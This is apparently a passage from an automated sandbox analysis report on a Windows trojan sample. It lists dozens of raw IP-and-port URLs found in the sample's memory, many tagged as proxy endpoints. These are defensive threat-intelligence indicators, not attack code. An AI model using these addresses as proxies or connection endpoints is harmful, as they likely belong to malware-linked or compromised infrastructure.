Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.107.159:59230
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.107.159:59230://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.108.94:12258
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.108.94:12258://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.108.94:29961
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.108.94:29961://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.108.94:47571
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.108.94:47571://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8451000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:27425
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:27425://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:31396
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:31396://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:46327
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C90D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:46327://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:46327P
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:54440
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:54440://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:59150
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:59150://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:60314
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:60314://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.118:60314x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:17158
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:17158://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:50228
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:50228://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDD7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:50709
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:50709://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D45000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:55509
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.110.47:55509://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.185.251:50539
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.185.251:50539://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.61.38:29249
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.61.38:29249://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65FB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.61.38:50903
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.205.61.38:50903://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EBA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8ED8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.207.253.226:38157
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8E9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.207.253.226:38157://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.207.253.226:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.207.253.226:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.222.237.74:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.222.237.74:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.242.212.50:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.242.212.50:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.106:11432
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.106:11432://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.106:16901
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.106:16901://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.106:33328
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.106:33328://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.112:10008
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.112:10008://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.112:30504
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.112:30504://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:10203
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:10203://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:12250
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:12250://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:13852
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:13852://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:14427
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:14427://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:32244
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.246.139.113:32244://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.247.12.136:9510
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.247.12.136:9510://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.247.12.139:9510
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.247.12.139:9510://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.247.2.26:21231
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.247.2.26:21231://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.249.113.194:55443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.249.113.194:55443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DEA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C906D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.249.122.108:61778
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.249.122.108:61778://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.205.129:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.255.205.129:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.51.78.66:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://92.51.78.66:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7069000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.100.123.135:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.100.123.135:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.115.25.139:4635
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.115.25.139:4635://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.117.225.195
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.117.225.195://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.117.225.195:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.117.72.27:55770
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.117.72.27:55770://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.171.243.253:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.171.243.253:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.171.243.253:1080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.180.222.134:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.180.222.134:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.19.123.228:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.19.123.228:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83AE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.190.24.119:443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.190.24.119:443://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.230.164.47:1234
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.230.164.47:1234://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.42.151.10:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.42.151.10:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.90.212.2:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://93.90.212.2:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.100.18.111:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7D8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.100.18.111:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.124.16.218:8901
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.124.16.218:8901://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.130.181.59:32770
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.130.181.59:32770://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.106.196:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.106.196:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.106.196:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.106.196:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.107.45:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.107.45:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.107.45:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.107.45:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.109.219:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.109.219:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.14.66:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.14.66:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.14.66:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.131.14.66:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.142.137.203:9741
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.142.137.203:9741://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.153.163.226:81
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.153.163.226:81://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6480000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.153.252.170:8080
